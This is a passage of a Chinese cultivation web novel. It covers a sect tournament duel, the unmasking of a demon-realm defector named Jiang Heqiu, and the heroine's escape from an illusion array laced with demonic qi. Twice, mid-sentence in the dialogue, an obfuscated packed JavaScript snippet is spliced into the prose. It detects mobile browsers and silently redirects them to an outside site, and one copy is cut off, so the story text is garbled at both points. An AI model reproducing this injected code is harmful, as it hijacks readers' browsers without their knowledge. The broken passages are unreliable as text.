不过她身法倒是灵动,修为也打得很实,想来教她枪法之人也很是厉害,只是江荷一击下来靠的不是枪法,而是厚实的内息与灵力。 秦蓁看不太出她原来使的是何种武器,但她现今使的长枪对自己来说并无太大威胁。 江荷一枪袭来,秦蓁横出一剑轻易抵住,再聚力反压过去,逼得江荷小退几步。 江荷开口说道:“同是元婴期的话,我是打不过你的,可也得叫你看见我的可用价值。” 秦蓁觉着这话有些奇怪,可用价值?哪怕是想拜入宗门,也不必说可用价值这等话,宗门弟子皆是修真界栽培之人,非是品鉴价值的器物。 但对方穿着天玄宗的明黄弟子服,叫她这句话咽了下去,若是天玄宗……或许还真有这等观念? 江荷抡枪上前横划一道创风,秦蓁侧身避开,提剑灵巧刺向江荷腰侧,江荷来不及挥枪,急急一掌拍出,内息涌动又平复,格住秦蓁这一剑。 长枪姗姗来迟挥下,与剑尖相撞。 疾风如创,江荷枪势暴烈,力道也极大,但她攻势虽猛,来得却太慢,秦蓁寻见破绽,又是一剑刺出。 几个回合后江荷急道:“你不是还未化神未修神识嘛!怎的觉我破绽这般容易!” 秦蓁答她:“我曾经在历练时遇见过一位枪法极好的女子,虽然她只出了几招,但已可见绝学。若叫习枪之人看上两招,怕是抵过半生所观枪法。见过那样如同旭日的好枪,再遇上使枪之人,总觉得再好的招式都有些不够看了。” 江荷呆了呆,结巴道:“你、你……好会夸啊……原来得这般夸人,难怪我每次吹嘘我阿姐,她都叹气叫我少说话。” 接着她脸色有些微红,忸怩说道:“秦师姐,你可以教教我怎么夸人夸得这般好听嘛,连我听了都有些不好意思了。” 秦蓁沉默,她觉得易师姐尚且说得过去,好歹是在相处过程中日渐放飞自我,可温子艺和江荷这俩人是打了照面就撒欢,时不时语出惊人,直叫她猝不及防。 “秦师姐,你多说两句,我记下回头说与我阿姐听,她一定可高兴。真看不出秦师姐你竟然这般会夸人,叫我对你都生出好感来。秦师姐真惹人喜欢。” 江荷眼睛亮亮,面上飞红仍在,姿态也颇有些羞涩。 ……或许性格如此。秦蓁叹息。只是她有些受不住这般的人:“……没个正形。你才更会夸人。” 江荷嘿嘿笑道:“不过秦师姐你真有眼光,她枪法就是顶好的,是天下第一!” 秦蓁徒然顿住,若有所思:“我并未多说任何其它,你怎知我所言何人?” 江荷也顿一下,接着理直气壮道:“当得起这般称赞的,举世仅有她一人!” 秦蓁看着江荷那下巴冲天的小模样,起了点笑意:“那你阿姐与她,谁是最好?” 江荷瞬间卡壳,瞪大眼睛望着秦蓁,半天没说出话来。 秦蓁不过逗她一下,也不是真要为难她回答,见状掂了掂剑,说:“比试先,还未打完。” 江荷也提起枪,嘟嘟囔囔不知道说了句什么,见秦蓁劈来一剑,连忙抬枪抵住,双手一转打斜刺出一枪。 秦蓁直接避过,迅速又挥去几剑,江荷只觉剑光瞬闪,形若翩跹,不见剑身垂定,唯剑气呼啸出匣,她未能全部接下。 但江荷挑枪,狂澜翻卷,如星火点目,竟叫秦蓁当真看出点之前百幽境遇到的那位女子的模样。 不知那人姓甚名谁。 虽然她们大抵立场不同,但将她挑开的枪风那般平顺,并未有任何祸及他人的念头。 秦蓁分神一刹,转眼便见枪尖已至额前,她迅速偏头,翻转手腕挑剑上挥,剑身“当”地一声撞上枪尖,那力道震得秦蓁手腕稍麻,她将灵力聚集剑身,猛地一划带着长枪向侧边挥去。 接着她急速撤剑,飞身逼向江荷,直直破开她的护体结界。 江荷目露诧色,没想到秦蓁破她招式竟这般轻易。 待判决后,秦蓁跳下擂台,江荷也跟着跳下,她小跑到秦蓁身侧,兴奋莫名:“秦师姐秦师姐,擂台边身穿浅蓝长袍的那位便是柳长老嘛?我从前听说过她的事迹,柳长老是性情中人,我很崇拜她的!” “带队的陈长老我也知晓!陈长老丰功伟绩,观云峰便是以她名字命名,她是道源宫建立之时就在的一位长老。陈长老温厚又相当有原则,我也可崇拜她了!” “两界观我也知道几位长老的!大小姐我也知道的!我还知道些秘闻!说大小姐与李掌门的关系并不太好。不过这档秘闻我也没弄太清楚。” “大小姐权力这般大,堪称一人之下万人之上了,与李掌门关系定是极好的,或许是大小姐不甚懂事,责怪李掌门当年未能护下她娘亲?” “不过李掌门有身为掌门的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453895|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责任,不可能叫整个宗门去送死的呀,这样多失人心!宗门人肯定也不愿意的,我觉得大小姐与李掌门之间倒是没什么的,皆可谅解的嘛。” “对了!肖掌门我也知道的!肖掌门将宗门事务打理得特别好,道源宫弟子们的实力普遍要比多数宗门弟子强上两个小等阶……” 秦蓁忽然侧头望她,四目相对,江荷在秦蓁平淡却带了探究的一眼中,止住了话头。 于是秦蓁便看见,面前这个原本睁大眼睛叽叽喳喳的女孩一下子垂了眼角,怯意重新爬上她灵动的双眼,她微微缩了缩脑袋,却没避开她的视线,貌若无辜的疑惑道:“秦师姐?” 秦蓁心下一叹,罢了。 “无事。你之前说……是想为宗门效力,以你之功抵你姐姐之过?你姐姐是何人?也在天玄宗吗?” 江荷稍稍放松:“姐姐不是修真界的人。我愿为修真界效力,换宗门……手下留情,留我姐姐一命便好。” 秦蓁有些惊讶:“凡人?若是触犯凡人律法,该由凡人界相判,修士不可插手的。” 江荷支吾两声,含糊说道:“凡事总有例外嘛,我姐姐其实本意是好的……她没了退路……总之,我是真心愿效力宗门,可立轮回血誓!” “不可。” 秦蓁打断她:“轮回血誓一旦立下,永世轮回皆捆绑在誓言那方,于立誓方过于不公,不可这般轻易下誓。” 江荷一怔,见秦蓁神情万分严肃,面上一烫,懵懵点点头:“哦哦……多谢秦师姐。” 秦蓁又看她一眼,直把江荷看得面色泛起淡红,亮着眼又说一声“多谢秦师姐好意”,秦蓁收回目光,有些不知道该再说些什么。 二人行至柳清沂面前,柳清沂扬笑鼓励一番,看见江荷,也了然:“小妹妹,你若真心退出天玄宗……” 江荷急急道:“见过柳长老!真心的真心的!可真心了!柳长老,道源宫不收的话其他宗门也成的,我天赋实力真的都不错的,不会叫秦师姐和你为难的。” 柳清沂弯眼露出狡黠的笑:“我是想说,小妹妹可真有眼光,弃暗投明啊。” 秦蓁无奈轻笑,见江荷果真愣住,斟酌开口道:“师姐……性情中人。” 江荷反应过来,也笑笑,只是这笑容却不如之前自然,不知是紧张还是尴尬。 “待我与陈长老商讨一番,晚些答复你,可好?” 江荷赶紧接话:“好!好!我也没有那么急的,若是不成,我去其他宗门报名招新也行的!” 柳清沂笑瞥她一眼,才看向秦蓁:“小师妹,师父来了。” 秦蓁一怔。 似乎有柔和的清风拂过,带起她几缕发丝,她嗅到一点坐忘峰常年不化的冰雪气息,冷霜扑面。 秦蓁回头,看见一双暖玉般的眼,笑意漫漫。 苏逐站在她面前,绝代风华叫整片比试场地都静了几息,他并未刻意放出威压,但一身气质浑然天成,如松峰,如霜鹤,让人屏息,生怕触了高岭飞仙。 “师父。”秦蓁笑道。 苏逐也笑:“许久未见。我来看你。” 四周嘈杂声渐起,众人皆是讶异,来人竟是道源宫那位在江湖上无甚名气、似是已退隐避世的苏长老。 而这人竟如此风度,恐怕实力更是深不可测。 一时之间众人面色各异,尤其各宗门长老,探究的目光掩不住地往这方看。 “秦师姐,我可能要叫你为难了。” 江荷突然开口:“我要拜进道源宫。若长老们现今不同意,那等秋招我去报名。我一定要入道源宫。” 秦蓁诧异,正要开口询问,江荷走上前来。 她目光灼灼盯着苏逐,眼中怯意尽退:“苏长老,可听过祁诡的名号?” 50. 记住我 苏逐没什么情绪起伏:“江湖刀客,很是有名,自是听闻过他的事迹。” 江荷一瞬不眨盯着苏逐:“我阿姐与祁诡交过手。那祁诡受伤,我族秘法可探他踪迹。” 苏逐浅笑,朝她看来,眼中风平浪静,飞升期威势却随着他这一眼缓缓压来。 江荷背脊渐渐发凉,她余光瞥见周围众人姿态自然,明白了这是仅针对她一人放出的威压。 苏逐平静道:“你想我助你们解决那人?” 秦蓁心一跳,下意识望向苏逐,竟觉得师父的那双眼此刻太过静了,静到有些失了生机,透出厚重如巨山的淡漠来。 “不。我是想说苏长老身上……” “这位江师妹!” 江荷的话被急急出声的柳清沂打断,众人朝她看去。 柳清沂笑了笑:“哎,说错,或许我该叫江师侄才对。你方才说想入道源宫,我思量一番觉着也不错,正好我宗又来一位长老,我带你去天玄宗找那个臭老头退宗如何?” 她眨眨眼:“我亲自带你去,给你撑腰。你对道源宫若有什么想了解的,也尽可问我。” 柳清沂话完便将手搭在了江荷肩上,很是没架子好亲近的模样,脸上笑意也盈盈。 江荷咬了下唇,沉默几息后才说:“好。” 肩上指尖轻点,她僵硬顺着柳清沂转身。 柳清沂迈出几步,回头,扬笑跟秦蓁暂别,江荷也回头露出个笑,很是乖巧:“秦师姐晚些再见。” 秦蓁觉出一丝怪异,并未应声。 这时苏逐突然道:“你之枪法,师从于何人?” 秦蓁微微蹙眉——她感受到熟悉的灵力波动,一探才发现是师父的结界。 她聚灵轻触,对方的结界并未阻拦她的灵力,她便控灵顺着结界绕了一周。 是个隔音结界。 秦蓁朝苏逐望去,苏逐眼中淡漠尽散,已同往常一般温和,他无奈的看她一眼,结界扩大,将她也圈了进来。 秦蓁虽然不知师父为何布下隔音结界,但她对此没什么异议,仅是顺手绕一绕结界,没想到它竟然就这么对她打开了。 她有些惊讶,也有些懵懂,二人对视,她跌进苏逐沉阔的眼里。 可她却又觉得,这一眼比往日要更轻更轻些。 苏逐先行移开了目光。她听见师父惯是平和的声音: “我从前认识一位使枪的好手,名为江禹秋,她有个随身侍女,名为江禾秋。前段时间传闻那江禾秋疑似叛逃,江禹秋正倾力寻人,不过对外却称是她胞妹失踪。” “二人名字虽像,却并非亲姊妹,只是不知是赐名还是照猫画虎。” 江荷身形更僵,苏逐却还没完:“且她们皆乃魔域之人。你可曾去过魔域?” 江荷打了个哈哈:“苏长老说笑了,魔域哪是一般人能去的,我想拜个宗门都费劲呢。” “我观你根骨内息,倒是与那江禾秋有几分相似。” 江荷冷汗直冒,肩上柳清沂的手依旧如重锤,将她钉死在原地,不可动弹。 她勉强道:“江禹秋……是传闻中那魔域第一女将,这等人物怎会与我有所交集……苏长老,我方才、方才只是想说……苏长老身上秘宝众多,可否借我个能探踪迹的法宝……” “当然!此话是我冒昧,我、我找我于师姐借就好,不劳烦苏长老!” 江荷压下剧烈的心跳——那威压深重,警告着她收起这临门一脚。 她没想到大庭广众之下,苏逐都能悄无声息发难,还以为这人端着这副架势,会有所顾忌。 “我先带着江小妹妹退宗,也许久未见那张老头了,呛他玩玩去。” 柳清沂搭在江荷肩上的手轻轻拍了拍她,笑眼对苏逐说:“交给我就成,不劳烦师父。” 苏逐微微颔首,并未言语,柳清沂又朝秦蓁笑笑,揽着江荷消失在众人视野中。 秦蓁若有所思,师父那些话似乎是在怀疑——江荷就是江禾秋? 江禾秋叛逃魔域,要拜入修真界宗门? 若是如此,那江荷挂在嘴边的姐姐,想来就是江禹秋了。 秦蓁眼前划过一张如烈日灿灼的面孔,同她的长枪一般飒姿。 原来她叫江禹秋。 按江荷的说辞,是江禹秋做了错事,她跑来为宗门效力,想恳请各宗门留江禹秋性命。 可那样的人,怎会乞求他人的留情。 怕是宁愿粉身碎骨,也要同旭日陨落一般浩大。 “不必多想,她们不会干涉到你,安心。” 秦蓁视线聚焦,看见苏逐温和平常的眼:“师父……” 思绪一跳,秦蓁想到江荷那句被师姐打断的话,似乎是想说师父和祁诡有些关系。 苏逐应声,对于方才之事却没多作解释:“你下一场是与谁比试?比试重要。现今我来了,可为你支些招。” 秦蓁于是正色道:“是魂隐宗的人,叫许乾,我观战过他,是个器修,术法有些古怪,我没有太大把握。” 苏逐眼神微闪:“魂隐宗精通幻术,还有些……别的手段,不过在宗门大比的擂台上,他们不会太明目张胆。维持好护体结界就可以。” “至于幻象……”苏逐对上秦蓁的眼睛:“你且记住一句话便好。” 这一刻,秦蓁识海中似乎也传来人声,与苏逐的话语交叠在一起,她辨不清那是谁,但师父的声音更加清晰,盖住了那模糊的低吟—— “秦蓁,你且记住,凡所有相,皆是虚妄。” “还要……记住我。”苏逐说。 “师父?”秦蓁没明白。 可擂台判决声起,已至她的场次。 秦蓁跃上擂台,又朝擂台下观战人群看去,很轻易便看见苏逐,他在人潮中那般静,如清溪截断洪流。 那种心口刺闷的感觉又来了。秦蓁莫名有些慌乱,但这次也如从前几次一样,她未能抓住。 “296号弟子——道源宫秦蓁,对战457号弟子——魂隐宗许乾。” * “你一会儿还有几场比试?” 柳清沂揽着江荷,还差几步路便走到那天玄宗张长老面前,对方已经竖起怒目瞪视过来,柳清沂一挑眉,笑容更加肆意。 “就一场了,还要许久才到我。”江荷低垂着头,老实回答她。 柳清沂满意道:“那就好,不必担心张老头耽误你比试。” 江荷勉强笑笑。 这一路柳清沂只正常介绍了些道源宫各峰的情况,并未说任何多余的话,似乎真是位惜才 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江荷目瞪口呆,这便完了?这般顺利便退宗了?那她现今算道源宫的弟子了? “没完呢,人家的入门灵石,你给补上?” 张长老愤怒又憋屈的瞪了一眼江荷,江荷还在怔愣,手中突然一重——张长老抛来个储物袋:“灵石!” 他堪称怒发冲冠,对着柳清沂吼道:“完了!成了!走了!” 话落张长老猛甩衣袖,转身急步离开。 江荷打开储物袋一看,差点没咧开嘴笑出声,袋中满是灵石,粗略一看比她入门交的灵石多多了,这储物袋大抵是张长老的一个小私库。 但江荷还记得身旁站了个柳清沂,她老老实实扎好储物袋,递给柳清沂:“多谢柳长老。” 柳清沂摆摆手:“自己收着。” “往后你便是道源宫弟子了,待宗门大比结束回去道源宫,叫肖掌门看看你分去哪个峰,或者你有想去的也成。” “不过坐忘峰不成。” 柳清沂笑道:“坐忘峰寻常不收人,也不参与招新。” 她轻轻点了下江荷肩膀,江荷警觉,那是柳清沂布阵法的位置。 “成了同门,便要多向着道源宫些,总不能说自家宗门坏话吧?道源宫还是挺正派的。我见你真心,但我不算太放心,所以你自己要明白些。” “江禾秋。” 柳清沂说:“你只要不胡乱说话,便是我道源宫的好弟子。” 四目相对,江荷在柳清沂眼中看见神色紧绷的自己。 “你有难处,江禹秋有难处,旁人亦有。我只能提你一句,当心祸从口出。” “你既真心,便在道源宫安身下来。” 江禾秋牙关紧咬,却终于在几息后一松气,答她:“我知晓了,柳长老。” * 各个擂台上的比试还未结束,观战人群却沸腾起来——地门有弟子传讯,说方才他感应到魔气,急急出房门查看,见有浑厚魔气自柳一房中冲出。 而屋内空无一人,仅有少许血迹,他粗略探查,柳一应已在数日前便失了踪迹。 且就在刚刚,柳一命牌碎裂。 51. “记住我。” 秦蓁眨眼一瞬,竟看见熟悉的寝殿。 入目金碧辉煌,满是华贵器物,厚重的被褥压得她有些喘不过气,她大口呼吸,惊觉手脚冰凉。 融在空气中的浓烈熏香呛了她一下,她如置沉舟,想要挣扎浮起。 “公主醒了!快传太医!” 女声乍起,秦蓁也终于从盖至她鼻尖的被褥中探出了脑袋。 好几张脸蛋凑过来,把她从被褥中捞出,为她擦汗穿衣,说公主大病一场终于醒来,可把她们急坏了。 秦蓁脑袋嗡嗡,真如大病初愈之人一般,连被侍女们扶着坐起都觉头晕目眩,一时思绪难聚,好半天她坐起身子,才看见自己小小的手。 一双孩童的手,短短小小,她蜷了蜷手,有些绵软。 这时太医急匆匆赶来,说了一堆贺吉话,秦蓁被侍女们扶起,被太医围着一通折腾。 她更觉眼花,喉间似有血气上涌,不知是谁轻拍了一下她的后背,她一咳,鲜血自口中滴落。 “皇姐!怎的突然咳血了!” 秦蓁怔愣,看见孩童模样的秦胥晏跑来,紧张的扶住她,她才发现原先身旁的侍女太医已尽数消失不见。 “这时候咳血……”秦胥晏万分急切:“皇姐!我叫太医来!就说是我咳的血!我给你瞒住!” 未待她说些什么,秦胥晏快步跑出殿外。 下一刻秦蓁落入一个怀抱,温香软玉,女人纤细的手拥住她,将她抱起放回榻上:“秋夜寒气重,公主殿下当心身子。” 秦蓁回头,看见一张温润芙蓉面,是秦胥晏的母妃。 她眉眼带笑,话语也温柔,静静看过来的眼睛带了怜惜和哀愁。 “秦蓁!” 少年意气风发的声音传来,秦蓁下意识望过去,看见一身劲装的秦奕快步走来,兴奋道:“我如今觉着,参军也不错——我得了军功!” “升了爵位,封了……还未封将军,待我当上将军再与你说!” 彼时秦奕少年英姿,正是神采飞扬时,他绘声绘色说了一通军中生活,说战场杀敌,说将士们脊骨如铁甲铮亮,他们一路自西北往上打,要为夏国争更广阔的天地。 秦蓁无言望他,秦奕那双眼亮得不像话,叫她都有些屏息——她以为自己再也见不到这样的一双眼。 突然她的手被抓住,手心温热,是秦奕塞来一块质地细腻的玉石,中间刻了个十分端正、却并不算太漂亮的“蓁”字。 秦奕眼中似有火炬,目光烫人,他扬起的笑意并未柔和他的眉眼,反而叫其更显锋锐,那是傲立燃烧的明亮烽火。 “给你的。我问过秦池玉,若我当真封了将军,他说……”秦奕顿一下,眸光跳动,笑意更盛,接着说道:“你且看着,我定然能封将军。” “到时,我来……找你。” 秦奕终于熄下灼热的眼,他面上笑容满溢,有点了羞涩,慢慢说完这句话。 秦蓁看着这样的秦奕,张了张口,却没能说出话来。 她惊慌回想那时的自己有没有答他什么,在小臂一痛、身体被甩开重重摔下时,想起自己那时不明所以,懵懂的应了声“好”。 刺痛从膝盖处传来,她的手心也刺痛,眼泪不受控制的掉落,秦蓁定了定神,看见鲜血自薄薄春衫渗出,她露出的一截小臂和莹白脚踝也在流血。 “走。” 沙哑压抑的声音响起,秦蓁抬头,看见秦奕身披战甲,似还带着刚归的仆仆风尘。 不知是战场杀气未散,还是他见了自己瞬起煞气,秦奕双目血丝遍布,额上青筋微跳,眼神死死锁着她,却说:“……赶紧走。” 再一眨眼,已是站在朝堂大殿。 秦蓁感觉自己在缓步往前走,一直走一直走,直到脚尖快要触到那片血泊,她停了脚步,听见自己冷声说:“死不足惜。” 她这才从秦奕拽甩她的那一幕中回过神来,面前是父皇母后淌血的身体。 “我愿随前辈入道,从此一心修炼,扶人间正义,顺大道无情。” 秦蓁作揖抬眼,忽觉寒风彻骨,她抬脚,独自行走在厚重积雪上,走向面前倒在雪地里的……柳清沂? 那是师姐吗? 面前人躺倒在雪地,侧眼望她,眸中没有她熟悉的笑意,仅有一片死寂。 秦蓁看见自己拿起雪白的轻剑,抬手就要刺向柳清沂。 师姐! 秦蓁惊喝,却没有声音发出,唯有剑身破开骨肉的轻响,与漫天飞雪一同打在她心尖。 她低头,看见自己一手执剑、一手聚灵拭剑,擦去剑身上师姐的血。 秦蓁愤怒的无声吼叫——那不是她的剑!不是她的剑意! 但她无法动作,只能看着自己的双手收起雪白的剑,而她一眼都未再看雪地里的人。 她看着自己日日修炼,修为飞速增长,顺畅得如有天助。 可她没看见师父。 她闭门在日月峰随着肖涧川修炼,没有见过苏逐,她身边也没有旬鹊。 她出宗门历练,入江湖行走,很快就到了飞升期,她要飞升了。 这期间她也算惩奸除恶,杀了几个恶名昭彰之人,也救了一些人,功名尽收,得世人尊崇。 “待除掉魔尊,我便要飞升了。” 秦蓁听见自己毫无起伏的声音,像久病之人已麻木疼痛,死气沉沉。 没有余力思索,转眼一把血红长刀朝她劈来。 那刀中戾气深重,又带了十成十的杀意,秦蓁急速去挡,却猛然觉察出异样。 雪白轻剑用力一挥,竟将那长刀截断,她势如破竹,一剑刺进面前人的心口。 这人是——林赴川! 秦蓁大惊,随着剑身刺入的动作,她扑到林赴川身前,指节紧握剑柄,将林赴川钉在地上。 她俯身,看见林赴川紧皱的眉,他面上带血,容色冷厉,秦蓁从未见过这样的神情出现在林赴川脸上,叫她轻愣,竟觉眼前人有些陌生。 林赴川冷淡的望着她,一言未发,静静等待死亡将他淹没。 而秦蓁维持着插剑入地的姿势,就这样与他对视许久。 她从林赴川眼中,望见淡漠到毫无生气的自己。 他们不相识。 秦蓁想。 她不会这样看着林赴川,林赴川也不会这样看着她。 这是两个从未相识相知的人才会有的眼神。不是什么搭档,不是什么深交。 在一片“魔尊已死”的声音中,秦蓁抽剑起身。 没有人敢上前簇拥她,但他们在她身后热烈地称赞感谢,呼声传了很远很远。 她一直走,一直走。 脑中思绪更乱,秦蓁想着林赴川怎的修刀去了,他原是那样好的剑修。 而且他竟还成了魔尊。 灵力修补着她的伤口,她感觉到空中有祥云跟着她飘动,似乎在待她欣赏够了人间风景,它便载她飞升登天。 秦蓁在一处小丘席地而坐,眼前苍茫,如同她这个人一般。 “你累了。” 秦蓁向身侧瞥去一眼,竟是柳清沂,她有了点秦蓁熟悉的样子,晃悠着在她身旁坐下。 惊喜还未爬上心口,秦蓁听见自己问候了师姐一句:“你竟然没死。” 柳清沂嫌弃的看她一眼:“福大命大。能别摆个死人脸吗?” 秦蓁没理她,依旧面无表情的看着前方,柳清沂嗤笑一声:“无情道的好苗子。可你又没修无情道,这般样子不累吗?” 秦蓁未应,柳清沂又嗤一声:“小可怜。” “看你同我从前有些像,我才来提点你一句——” 秦蓁闻言看向她,柳清沂稍有些惊讶:“竟舍得多看我一眼。但我可没什么好话要说,我是来告诉你:你的剑——修得烂死了。” 随后她大抵觉得没意思,起身走了。 秦蓁无言坐在这儿很久很久,最后一剑劈散了祥云,又聚灵将雪白轻剑折断,随手往草丛一丢,走了。 她也觉得,她的剑修得烂死了。 秦蓁心口堵塞,却还是无法控制身体,只能看着自己又行走起来,看春花飞雪,看江河湖海,直到又一把长刀劈至身前,她顺着黑色长刀往前看,看见祁诡。 呼吸微滞,祁诡一身桀骜傲气:“听闻你剑术无双,我来讨教一番。拔剑罢。” “我没有剑了,不修剑了。” 她冷淡开口,表明自己并无切磋的兴致。 没想到祁诡眉峰一挑,带着很有些放肆的语气说道:“那你与我修刀如何?” 秦蓁讶然,莫名一冲动,点了头。 祁诡竟也惊诧,但话已放出,人家还应了,他沉默几息,叹道:“你名声这般响,我也不好占你个师徒辈分。你当真不修剑了?你若还修剑,你教我剑法,我教你刀法,就当结交个江湖朋友了。” 秦蓁看着一身意气的祁诡,问他:“你初出江湖?” 祁诡听出她的言外之意,调笑道:“不算。但已打遍天下,就差你了,好徒弟。” 秦蓁便一板一眼给他沏了杯茶,反倒祁诡实在没好意思受这个礼,待她沏完茶,直接自己伸手过来拿去喝了。 秦蓁便跟着祁诡学起刀法来,那刀法有些熟悉,但她一时想不起来是在哪里见过。 二人相伴同行,秦蓁也拾起了剑,不过却没再买什么好剑,仅拿着把木剑,偶尔也与祁诡探讨剑招,再后来也正儿八经教过他剑法。 行至凡人界,她的脚刚跨过界碑,身旁的祁诡消失了。 秦蓁怔怔。 她原以为,自己已经有些摸清了许乾布的幻象阵的运转规则——幻象不断切换,在她原有记忆上增添许多能惹她在意之事,不管是因舍不下还是因爱因恨,只要她有些许动摇,便会延长在某个片段停留的时间。 若她耽溺其中,这一小片记忆的时间,可至永恒。 她便会被永困其中。 自己方才并没有想就这样与祁诡分别,可他突然消失了。 木剑刺入精雕细琢的龙椅,秦蓁回神,看见秦池玉已显老态的脸庞。 他眼神平静:“你可杀朕,但朕无错,亦无悔。” “唯叹朕之大业百年难建。” 秦蓁看见自己沉默许久,最终收了木剑,离开了皇宫,朝正在大乱的百幽境走去。 但她不甚明晰,自己为何想杀秦池玉? 她在滚滚天雷散去的下一刻,才慢悠悠踏进百幽,找到那狼狈伏在地上的鬼王,剑尖指向对方时,她也在思索,她的剑是否要再进一寸。 最终她收了剑,还好心的将这鬼王护回地府界,待他伤好才告别,打算回地上去找祁诡。 因为在鬼王这儿,她嗅到一点天道法则,觉出一丝怪异——天道似乎并非他们所修的大道。 那不是修道之人的归处。 鬼王拦住了她。 但他没有拿得出手的理由阻止她回到地上,她不是鬼修,她就是该回到地上的。 于是他说:“我出身低微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦蓁捂住快要被冲破的心口,倏地闭眼,周身寂静片刻,有人语调散漫的发问:“问你呢。” 秦蓁睁眼,看见一张陌生的面孔,这人有着芝兰玉树的风貌,话语腔调却不多讨喜:“你若轮回百世,想做什么?我倒还是想做人,不然我那些卜算的卦盘符纸可没人同我这般宝贝它们了。” 秦蓁听见自己沉冷的声音:“蚍蜉。” “蚍蜉?” 那人抚掌哈哈大笑,敲扇叹道:“你这人真有意思——这句可不是在夸你。” “你既要撼天,为何做蚍蜉?莫不是真要给我上演出蚍蜉撼树罢?” 秦蓁答他:“不必撼。” 扇骨轻扣案台,那人沉默。 肩上突然被人一拍,秦蓁回头,古香屋舍消失不见,她看见一张憔悴面孔,与方才那人有七八分相似。 “果然是你,那下一个是不是就该出现祁诡了。”那人说。 “赶紧都滚。凡所有相,皆是虚妄,我本就是能开解尘缘之人,这等把戏还想唬弄我?” 随着他的一声冷喝,四周景色又变,原本郁郁葱葱的林叶纷纷枯萎凋零,此地茫茫,秦蓁看见面前人的眼里也茫茫。 这人更憔悴了,仿佛下一刻就要随着枯叶一同失去生机,秦蓁只觉生命在他眼中匆匆飞掠,停不过一息。 他颤抖开口,意识似已混沌:“凡所有相,皆是虚妄……凡所有相……皆是虚妄……” 他绕过秦蓁向前走,秦蓁也跟着他走,几步后祁诡出现在二人面前。 “祁诡?”那人问。 “不,凡所有相,皆是虚妄。你是假的?” 祁诡轻轻说:“嗯,我是假的。” “……凡所有相,皆是虚妄,祁诡,我坚持不住了……” “嗯,我知道。” “你还没有放弃吗?” “嗯。” “……凡所有相,皆是虚妄……虚妄……虚妄……” 那人双目空洞,又绕过祁诡往前走去。 秦蓁没能跟过去,因为祁诡一刀劈斩至她身前,秦蓁本能召剑抵挡,刀剑相撞时,她才发现召出的竟然是她自己的不悔剑。 透过剑锋与刀锋,她看见祁诡的眼睛,那双眼疲惫万分,没了锋芒。他卸了力撤了刀,说:“记住我。” “秦蓁,你要记住我。” 脑中一嗡,心口刺痛骤起,秦蓁拼命去追去抓——还有未尽之事,她不能—— 眼前刹然一白,秦蓁识海受心境影响不断震晃,她极力稳住思绪,心口沉闷的哀痛却根本压不下,她听见自己在无声的哭嚎,撕心悲切,牙关死咬。 耳边嘈杂声渐渐清晰,她勉力松开紧咬的齿间,只有滚烫的血从中泄出,没有声音。 “诶!出来了出来!秦蓁出来了!” “竟然出来了!过了这般久,还以为……” “幻象阵破,许乾要落败了!” 秦蓁意识回笼,握紧不悔剑柄,朝前看去。 许乾受到破阵反噬,半跪在地,她只要随意出一剑破开他护体结界,比试胜负便能立刻判下。 秦蓁擦过唇边鲜血,提剑上前。 她一边走,一边感受仍然在她心底残留的怆恍。 突然她飞起一剑,扬起暴烈剑气直刺许乾心口。 长剑穿过血肉,秦蓁终于找回自己的声音,她双目寒光凛冽,睥睨下视:“你、找、死。” 52. 我等着取你性命 利剑入体,许乾迅速用灵力护住心脉,但秦蓁这一剑的剑气太过暴烈,哪怕他立刻反应抵挡,仍被伤至心肺,灵力托着剑气以摧枯拉朽之势撞碎了他体内大半经脉。 许乾急急摸出颗黑色丹药吃下,接着大喊道:“这可是宗门大比的擂台!你想杀害修道同门吗!” 擂台下沸反盈天,哗声响彻,秦蓁未言,身上杀气代替了她所有话语。 许乾抬手聚灵,制住秦蓁的剑,却也不太敢直接拔剑出体,脸色十分难看。 但他并不多害怕秦蓁当真取他性命,毕竟二人皆身处大庭广众之下。 丹药起效,许乾气顺了些,抹了把流到脖颈的血,握住未插进他血肉的半截剑身,直视秦蓁:“不过就是个幻象阵,你自己破了半天,还怪上我布阵了?我可是场场都这么打的,其他人被困阵中输掉比试可都没像你这般大火气。” 秦蓁半分未动,刺骨杀意毫不掩饰:“你阵中有血气,还有——魔气!” 她自进入阵中便觉有血气萦绕,但寻常以血画阵或是作引子启阵并不会叫人觉出血气,只有祭奠阵才会因牵引亡者血魂透出一丝。 再有就是,血孽深重的邪阵。 她在幻象阵中看见的画面太过混乱,往往她一扭头一转眼就切了另外片段来,脑中鼓胀闷痛,又似被无形利爪探入,连魂魄都要被抓出。 可幻象阵是迂回周游的法术,以织布无限接近真实的景象困人沉溺,秦蓁从未听闻有哪个幻象阵同个凶阵一般,何况许乾这阵根本未掩杀意。 许乾眼中微光一掠,闪过惊色,没想到在混乱交错的幻境中她竟能觉察出这点异样,还这般大胆直接就点出,所幸他隔音结界布得也及时。 他瞥了眼擂台下观战人潮。 血气倒能胡乱编些理由,但魔气可不好蒙混过关。 只是那点魔气已被丝丝剖解,不过剩下一小缕藏在阵中,那些飞升期的宗门长老都看不出,秦蓁一个小小元婴,怎可能…… 许乾眯了眯眼:“许翊之传出去的?” 他像是万分肯定,也不等秦蓁回答,恶狠狠“呵”一声,低声嘲讽道:“那又如何?他如今不过是个人人喊打的过街老鼠,他的话有多少人会信?” “再说那点魔气,你以为又有多少人能辨出?我甚至可以任那些长老探查。” “我只要说,此乃我魂隐宗绝学秘法,是许翊之叛门泄密还反手污蔑师门。长老们探查不出魔气,你猜外界又该如何说他?” 许乾眼神尖利,满脸自信笑意,却显恶气满满:“你想试试看吗?看道源宫能不能护住他?你可知道源宫为何护他?” 